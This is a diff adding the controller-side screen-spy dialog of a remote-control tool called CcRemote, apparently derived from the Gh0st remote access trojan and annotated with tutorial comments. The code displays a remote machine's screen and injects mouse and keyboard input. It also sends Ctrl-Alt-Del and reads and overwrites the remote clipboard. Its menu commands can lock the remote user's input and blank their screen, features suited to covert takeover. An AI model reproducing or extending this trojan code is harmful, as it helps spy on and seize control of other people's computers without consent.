switch (nSBCode)
|
||||
{
|
||||
case SB_LINEUP:
|
||||
i = nPos - 1;
|
||||
break;
|
||||
case SB_LINEDOWN:
|
||||
i = nPos + 1;
|
||||
break;
|
||||
case SB_THUMBPOSITION:
|
||||
case SB_THUMBTRACK:
|
||||
i = si.nTrackPos;
|
||||
break;
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
i = max(i, si.nMin);
|
||||
i = min(i, (int)(si.nMax - si.nPage + 1));
|
||||
|
||||
RECT rect;
|
||||
GetClientRect(&rect);
|
||||
|
||||
if ((rect.right + i) > m_lpbmi->bmiHeader.biWidth)
|
||||
i = m_lpbmi->bmiHeader.biWidth - rect.right;
|
||||
|
||||
InterlockedExchange((PLONG)&m_HScrollPos, i);
|
||||
|
||||
SetScrollPos(SB_HORZ, m_HScrollPos);
|
||||
|
||||
PostMessage(WM_PAINT);
|
||||
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnPaint()
|
||||
{
|
||||
CPaintDC dc(this); // device context for painting
|
||||
// TODO: 在此处添加消息处理程序代码
|
||||
// 不为绘图消息调用 CDialog::OnPaint()
|
||||
|
||||
if (m_bIsFirst)
|
||||
{
|
||||
DrawTipString("Please wait - initial screen loading");
|
||||
return;
|
||||
}
|
||||
//这里同样用我们讲过的api 不过他的作用可不仅仅是用来抓图,他还可以显示图像,
|
||||
//为什么呢? 因为抓图,显示图,都是我们的片面想法,这个api的作用就是复制
|
||||
//设备的缓冲区,将桌面设备缓冲区复制到我们的内存缓冲区,这个就是抓图,
|
||||
//将内存缓冲区复制到设备缓冲区就是显示图了。。。。。。。。
|
||||
BitBlt
|
||||
(
|
||||
m_hDC,
|
||||
0,
|
||||
0,
|
||||
m_lpbmi->bmiHeader.biWidth,
|
||||
m_lpbmi->bmiHeader.biHeight,
|
||||
m_hMemDC,
|
||||
m_HScrollPos,
|
||||
m_VScrollPos,
|
||||
SRCCOPY
|
||||
);
|
||||
|
||||
// (BYTE)-1 = 255;
|
||||
// Draw the cursor
|
||||
//这里画一下鼠标的图像
|
||||
if (m_bIsTraceCursor)
|
||||
DrawIconEx(
|
||||
m_hDC, // handle to device context
|
||||
m_RemoteCursorPos.x - ((int)m_dwCursor_xHotspot) - m_HScrollPos,
|
||||
m_RemoteCursorPos.y - ((int)m_dwCursor_yHotspot) - m_VScrollPos,
|
||||
m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), // handle to icon to draw
|
||||
0, 0, // width of the icon
|
||||
0, // index of frame in animated cursor
|
||||
NULL, // handle to background brush
|
||||
DI_NORMAL | DI_COMPAT // icon-drawing flags
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::DrawTipString(CString str)
|
||||
{
|
||||
RECT rect;
|
||||
GetClientRect(&rect);
|
||||
COLORREF bgcol = RGB(0x00, 0x00, 0x00);
|
||||
COLORREF oldbgcol = SetBkColor(m_hDC, bgcol);
|
||||
COLORREF oldtxtcol = SetTextColor(m_hDC, RGB(0xff, 0x00, 0x00));
|
||||
ExtTextOut(m_hDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
|
||||
|
||||
DrawText(m_hDC, str, -1, &rect,
|
||||
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
|
||||
|
||||
SetBkColor(m_hDC, oldbgcol);
|
||||
SetTextColor(m_hDC, oldtxtcol);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnReceiveComplete(void)
|
||||
{
|
||||
m_nCount++;
|
||||
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_FIRSTSCREEN:
|
||||
DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义
|
||||
break;
|
||||
case TOKEN_NEXTSCREEN:
|
||||
if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
|
||||
DrawNextScreenRect(); //这里是第二帧之后的数据了---
|
||||
else
|
||||
DrawNextScreenDiff(); //----当然这里有两种算法
|
||||
break; //我们能转到DrawFirstScreen函数定义
|
||||
case TOKEN_BITMAPINFO:
|
||||
ResetScreen();
|
||||
break;
|
||||
case TOKEN_CLIPBOARD_TEXT:
|
||||
UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
|
||||
break;
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
void CScreenSpyDlg::DrawFirstScreen(void)
|
||||
{
|
||||
m_bIsFirst = false;
|
||||
//这里也很简单就是得到服务端发来的数据 ,将他拷贝到HBITMAP的缓冲区中,这样一个图像就出现了
|
||||
memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
|
||||
//我们到OnPaint()函数
|
||||
//OnPaint();
|
||||
PostMessage(WM_PAINT);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::DrawNextScreenDiff(void)
|
||||
{
|
||||
//这个函数也非常复杂 ,他不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
|
||||
//OnPaint画上去
|
||||
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
|
||||
bool bIsReDraw = false;
|
||||
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
|
||||
LPVOID lpFirstScreen = m_lpScreenDIB;
|
||||
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
|
||||
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
|
||||
|
||||
POINT oldPoint;
|
||||
memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
|
||||
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
|
||||
|
||||
// 鼠标移动了
|
||||
if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
|
||||
bIsReDraw = true;
|
||||
|
||||
// 光标类型发生变化
|
||||
int nOldCursorIndex = m_bCursorIndex;
|
||||
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
|
||||
if (nOldCursorIndex != m_bCursorIndex)
|
||||
{
|
||||
bIsReDraw = true;
|
||||
if (m_bIsCtrl && !m_bIsTraceCursor)
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
|
||||
}
|
||||
|
||||
// 屏幕是否变化
|
||||
if (dwBytes > 0)
|
||||
bIsReDraw = true;
|
||||
|
||||
__asm
|
||||
{
|
||||
mov ebx, [dwBytes]
|
||||
mov esi, [lpNextScreen]
|
||||
jmp CopyEnd
|
||||
CopyNextBlock :
|
||||
mov edi, [lpFirstScreen]
|
||||
lodsd // 把lpNextScreen的第一个双字节,放到eax中,就是DIB中改变区域的偏移
|
||||
add edi, eax // lpFirstScreen偏移eax
|
||||
lodsd // 把lpNextScreen的下一个双字节,放到eax中, 就是改变区域的大小
|
||||
mov ecx, eax
|
||||
sub ebx, 8 // ebx 减去 两个dword
|
||||
sub ebx, ecx // ebx 减去DIB数据的大小
|
||||
rep movsb
|
||||
CopyEnd :
|
||||
cmp ebx, 0 // 是否写入完毕
|
||||
jnz CopyNextBlock
|
||||
}
|
||||
|
||||
if (bIsReDraw) PostMessage(WM_PAINT);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::DrawNextScreenRect(void)
|
||||
{
|
||||
//这个函数也非常复杂他将传送来的数据 得到变化的区域然后画到屏幕上
|
||||
|
||||
// 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁
|
||||
bool bIsReDraw = false;
|
||||
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
|
||||
LPVOID lpFirstScreen = m_lpScreenDIB;
|
||||
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
|
||||
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
|
||||
|
||||
|
||||
// 保存上次鼠标所在的位置
|
||||
RECT rectOldPoint;
|
||||
::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y,
|
||||
m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot);
|
||||
|
||||
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// 判断鼠标是否移动
|
||||
if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top !=
|
||||
m_RemoteCursorPos.y))
|
||||
bIsReDraw = true;
|
||||
|
||||
// 光标类型发生变化
|
||||
int nOldCursorIndex = m_bCursorIndex;
|
||||
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
|
||||
if (nOldCursorIndex != m_bCursorIndex)
|
||||
{
|
||||
bIsReDraw = true;
|
||||
if (m_bIsCtrl && !m_bIsTraceCursor)
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
|
||||
}
|
||||
|
||||
// 判断鼠标所在区域是否发生变化
|
||||
DWORD dwOffset = 0;
|
||||
while (dwOffset < dwBytes && !bIsReDraw)
|
||||
{
|
||||
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
|
||||
RECT rectDest;
|
||||
if (IntersectRect(&rectDest, &rectOldPoint, lpRect))
|
||||
bIsReDraw = true;
|
||||
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
|
||||
}
|
||||
bIsReDraw = bIsReDraw && m_bIsTraceCursor;
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
dwOffset = 0;
|
||||
while (dwOffset < dwBytes)
|
||||
{
|
||||
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
|
||||
int nRectWidth = lpRect->right - lpRect->left;
|
||||
int nRectHeight = lpRect->bottom - lpRect->top;
|
||||
|
||||
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
|
||||
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
|
||||
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
|
||||
* m_lpbmi_rect->bmiHeader.biHeight;
|
||||
|
||||
StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth,
|
||||
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
|
||||
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
|
||||
|
||||
// 不需要重绘鼠标的话,直接重绘变化的部分
|
||||
if (!bIsReDraw)
|
||||
StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth,
|
||||
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
|
||||
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
|
||||
|
||||
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
if (bIsReDraw) PostMessage(WM_PAINT);
|
||||
}
|
||||
|
||||
//更改屏幕分辨率
|
||||
void CScreenSpyDlg::ResetScreen(void)
|
||||
{
|
||||
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||||
if (m_lpbmi != NULL)
|
||||
{
|
||||
int nOldWidth = m_lpbmi->bmiHeader.biWidth;
|
||||
int nOldHeight = m_lpbmi->bmiHeader.biHeight;
|
||||
|
||||
delete[] m_lpbmi;
|
||||
delete[] m_lpbmi_rect;
|
||||
|
||||
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
|
||||
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
|
||||
|
||||
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||||
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||||
|
||||
DeleteObject(m_hFullBitmap);
|
||||
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
|
||||
SelectObject(m_hMemDC, m_hFullBitmap);
|
||||
|
||||
memset(&m_MMI, 0, sizeof(MINMAXINFO));
|
||||
InitMMI();
|
||||
|
||||
// 分辨率发生改变
|
||||
if (nOldWidth != m_lpbmi->bmiHeader.biWidth || nOldHeight != m_lpbmi->bmiHeader.biHeight)
|
||||
{
|
||||
RECT rectClient, rectWindow;
|
||||
GetWindowRect(&rectWindow);
|
||||
GetClientRect(&rectClient);
|
||||
ClientToScreen(&rectClient);
|
||||
|
||||
// 计算ClientRect与WindowRect的差距(标题栏,滚动条)
|
||||
rectWindow.right = m_lpbmi->bmiHeader.biWidth + rectClient.left + (rectWindow.right - rectClient.right);
|
||||
rectWindow.bottom = m_lpbmi->bmiHeader.biHeight + rectClient.top + (rectWindow.bottom - rectClient.bottom);
|
||||
MoveWindow(&rectWindow);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
|
||||
::EmptyClipboard();
|
||||
HGLOBAL hglbCopy = GlobalAlloc(GPTR, len);
|
||||
if (hglbCopy != NULL) {
|
||||
// Lock the handle and copy the text to the buffer.
|
||||
LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy);
|
||||
memcpy(lptstrCopy, buf, len);
|
||||
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
|
||||
SetClipboardData(CF_TEXT, hglbCopy);
|
||||
GlobalFree(hglbCopy);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
|
||||
|
||||
//用来截获消息的。我们可以通过重载它来处理键盘和鼠标消息。
|
||||
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
// TODO: 在此添加专用代码和/或调用基类
|
||||
|
||||
|
||||
CRect rect;
|
||||
GetClientRect(&rect);
|
||||
|
||||
switch (pMsg->message)
|
||||
{
|
||||
case WM_LBUTTONDOWN:
|
||||
case WM_LBUTTONUP:
|
||||
case WM_RBUTTONDOWN:
|
||||
case WM_RBUTTONUP:
|
||||
case WM_MOUSEMOVE:
|
||||
case WM_LBUTTONDBLCLK:
|
||||
case WM_RBUTTONDBLCLK:
|
||||
case WM_MBUTTONDOWN:
|
||||
case WM_MBUTTONUP:
|
||||
case WM_MOUSEWHEEL:
|
||||
{
|
||||
MSG msg;
|
||||
memcpy(&msg, pMsg, sizeof(MSG));
|
||||
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
|
||||
msg.pt.x += m_HScrollPos;
|
||||
msg.pt.y += m_VScrollPos;
|
||||
SendCommand(&msg);
|
||||
}
|
||||
break;
|
||||
case WM_KEYDOWN:
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYDOWN:
|
||||
case WM_SYSKEYUP:
|
||||
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
|
||||
{
|
||||
MSG msg;
|
||||
memcpy(&msg, pMsg, sizeof(MSG));
|
||||
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
|
||||
msg.pt.x += m_HScrollPos;
|
||||
msg.pt.y += m_VScrollPos;
|
||||
SendCommand(&msg);
|
||||
}
|
||||
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
|
||||
return true;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::SendCommand(MSG* pMsg)
|
||||
{
|
||||
if (!m_bIsCtrl)
|
||||
return;
|
||||
|
||||
LPBYTE lpData = new BYTE[sizeof(MSG) + 1];
|
||||
lpData[0] = COMMAND_SCREEN_CONTROL;
|
||||
memcpy(lpData + 1, pMsg, sizeof(MSG));
|
||||
m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);
|
||||
|
||||
delete[] lpData;
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
switch (nID)
|
||||
{
|
||||
case IDM_CONTROL:
|
||||
{
|
||||
m_bIsCtrl = !m_bIsCtrl;
|
||||
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||
|
||||
if (m_bIsCtrl)
|
||||
{
|
||||
if (m_bIsTraceCursor)
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
|
||||
else
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
|
||||
}
|
||||
else
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
|
||||
}
|
||||
break;
|
||||
case IDM_SEND_CTRL_ALT_DEL:
|
||||
{
|
||||
BYTE bToken = COMMAND_SCREEN_CTRL_ALT_DEL;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_TRACE_CURSOR: // 跟踪服务端鼠标
|
||||
{
|
||||
m_bIsTraceCursor = !m_bIsTraceCursor;
|
||||
pSysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
if (m_bIsCtrl)
|
||||
{
|
||||
if (!m_bIsTraceCursor)
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
|
||||
else
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
|
||||
}
|
||||
// 重绘消除或显示鼠标
|
||||
OnPaint();
|
||||
}
|
||||
break;
|
||||
case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘
|
||||
{
|
||||
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
|
||||
pSysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||||
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
|
||||
bToken[1] = !bIsChecked;
|
||||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_BLANK_SCREEN: // 服务端黑屏
|
||||
{
|
||||
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLANK_SCREEN, MF_BYCOMMAND) & MF_CHECKED;
|
||||
pSysMenu->CheckMenuItem(IDM_BLANK_SCREEN, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||||
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_SCREEN_BLANK;
|
||||
bToken[1] = !bIsChecked;
|
||||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_CAPTURE_LAYER: // 捕捉层
|
||||
{
|
||||
bool bIsChecked = pSysMenu->GetMenuState(IDM_CAPTURE_LAYER, MF_BYCOMMAND) & MF_CHECKED;
|
||||
pSysMenu->CheckMenuItem(IDM_CAPTURE_LAYER, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||||
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_SCREEN_CAPTURE_LAYER;
|
||||
bToken[1] = !bIsChecked;
|
||||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_SAVEDIB:
|
||||
SaveSnapshot();
|
||||
break;
|
||||
case IDM_GET_CLIPBOARD: // 获取剪贴板
|
||||
{
|
||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_SET_CLIPBOARD: // 设置剪贴板
|
||||
{
|
||||
SendLocalClipboard();
|
||||
}
|
||||
break;
|
||||
case IDM_ALGORITHM_SCAN: // 隔行扫描算法
|
||||
{
|
||||
SendResetAlgorithm(ALGORITHM_SCAN);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_ALGORITHM_DIFF: // 差异比较算法
|
||||
{
|
||||
SendResetAlgorithm(ALGORITHM_DIFF);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_DIFF, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_1:
|
||||
{
|
||||
SendResetScreen(1);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_1, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_4_GRAY:
|
||||
{
|
||||
SendResetScreen(3);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_GRAY, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_4_COLOR:
|
||||
{
|
||||
SendResetScreen(4);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_COLOR, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_8_GRAY:
|
||||
{
|
||||
SendResetScreen(7);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_GRAY, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_8_COLOR:
|
||||
{
|
||||
SendResetScreen(8);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_16:
|
||||
{
|
||||
SendResetScreen(16);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_16, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_DEEP_32:
|
||||
{
|
||||
SendResetScreen(32);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
CDialog::OnSysCommand(nID, lParam);
|
||||
}
|
||||
CDialog::OnSysCommand(nID, lParam);
|
||||
}
|
||||
|
||||
|
||||
bool CScreenSpyDlg::SaveSnapshot(void)
|
||||
{
|
||||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
|
||||
CFileDialog dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "位图文件(*.bmp)|*.bmp|", this);
|
||||
if (dlg.DoModal() != IDOK)
|
||||
return false;
|
||||
|
||||
BITMAPFILEHEADER hdr;
|
||||
LPBITMAPINFO lpbi = m_lpbmi;
|
||||
CFile file;
|
||||
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
|
||||
{
|
||||
MessageBox("文件保存失败");
|
||||
return false;
|
||||
}
|
||||
|
||||
// BITMAPINFO大小
|
||||
int nbmiSize = sizeof(BITMAPINFOHEADER) + (lpbi->bmiHeader.biBitCount > 16 ? 1 : (1 << lpbi->bmiHeader.biBitCount)) * sizeof(RGBQUAD);
|
||||
|
||||
// Fill in the fields of the file header
|
||||
hdr.bfType = ((WORD)('M' << 8) | 'B'); // is always "BM"
|
||||
hdr.bfSize = lpbi->bmiHeader.biSizeImage + sizeof(hdr);
|
||||
hdr.bfReserved1 = 0;
|
||||
hdr.bfReserved2 = 0;
|
||||
hdr.bfOffBits = sizeof(hdr) + nbmiSize;
|
||||
// Write the file header
|
||||
file.Write(&hdr, sizeof(hdr));
|
||||
file.Write(lpbi, nbmiSize);
|
||||
// Write the DIB header and the bits
|
||||
file.Write(m_lpScreenDIB, lpbi->bmiHeader.biSizeImage);
|
||||
file.Close();
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
void CScreenSpyDlg::SendLocalClipboard(void)
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
HGLOBAL hglb = GetClipboardData(CF_TEXT);
|
||||
if (hglb == NULL)
|
||||
{
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int nPacketLen = GlobalSize(hglb) + 1;
|
||||
LPSTR lpstr = (LPSTR)GlobalLock(hglb);
|
||||
LPBYTE lpData = new BYTE[nPacketLen];
|
||||
lpData[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||||
memcpy(lpData + 1, lpstr, nPacketLen - 1);
|
||||
::GlobalUnlock(hglb);
|
||||
::CloseClipboard();
|
||||
m_iocpServer->Send(m_pContext, lpData, nPacketLen);
|
||||
delete[] lpData;
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::SendResetAlgorithm(UINT nAlgorithm)
|
||||
{
|
||||
BYTE bBuff[2];
|
||||
bBuff[0] = COMMAND_ALGORITHM_RESET;
|
||||
bBuff[1] = nAlgorithm;
|
||||
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::SendResetScreen(int nBitCount)
|
||||
{
|
||||
|
||||
m_nBitCount = nBitCount;
|
||||
|
||||
BYTE bBuff[2];
|
||||
bBuff[0] = COMMAND_SCREEN_RESET;
|
||||
bBuff[1] = m_nBitCount;
|
||||
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
|
||||
}
|
72
CcRemote/CcRemote/CScreenSpyDlg.h
Normal file
@@ -0,0 +1,72 @@
|
||||
#pragma once
|
||||
|
||||
#include "include/IOCPServer.h"
|
||||
#include "..\..\common\CursorInfo.h"
|
||||
// CScreenSpyDlg 对话框
|
||||
|
||||
class CScreenSpyDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CScreenSpyDlg)
|
||||
|
||||
public:
|
||||
CScreenSpyDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||
virtual ~CScreenSpyDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_SCREENSPY };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
int m_nBitCount;
|
||||
bool m_bIsFirst;
|
||||
bool m_bIsTraceCursor;
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
HICON m_hIcon;
|
||||
MINMAXINFO m_MMI;
|
||||
HDC m_hDC, m_hMemDC, m_hPaintDC;
|
||||
HBITMAP m_hFullBitmap;
|
||||
LPVOID m_lpScreenDIB;
|
||||
LPBITMAPINFO m_lpbmi, m_lpbmi_rect;
|
||||
UINT m_nCount;
|
||||
UINT m_HScrollPos, m_VScrollPos;
|
||||
HCURSOR m_hRemoteCursor;
|
||||
DWORD m_dwCursor_xHotspot, m_dwCursor_yHotspot;
|
||||
POINT m_RemoteCursorPos;
|
||||
BYTE m_bCursorIndex;
|
||||
CCursorInfo m_CursorInfo;
|
||||
bool m_bIsCtrl;
|
||||
public:
|
||||
afx_msg void OnClose();
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
void InitMMI(void);
|
||||
void SendNext(void);
|
||||
afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
|
||||
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
||||
afx_msg void OnPaint();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
private:
|
||||
void DrawTipString(CString str);
|
||||
void UpdateLocalClipboard(char *buf, int len);
|
||||
void SendLocalClipboard(void);
|
||||
public:
|
||||
void OnReceiveComplete(void);
|
||||
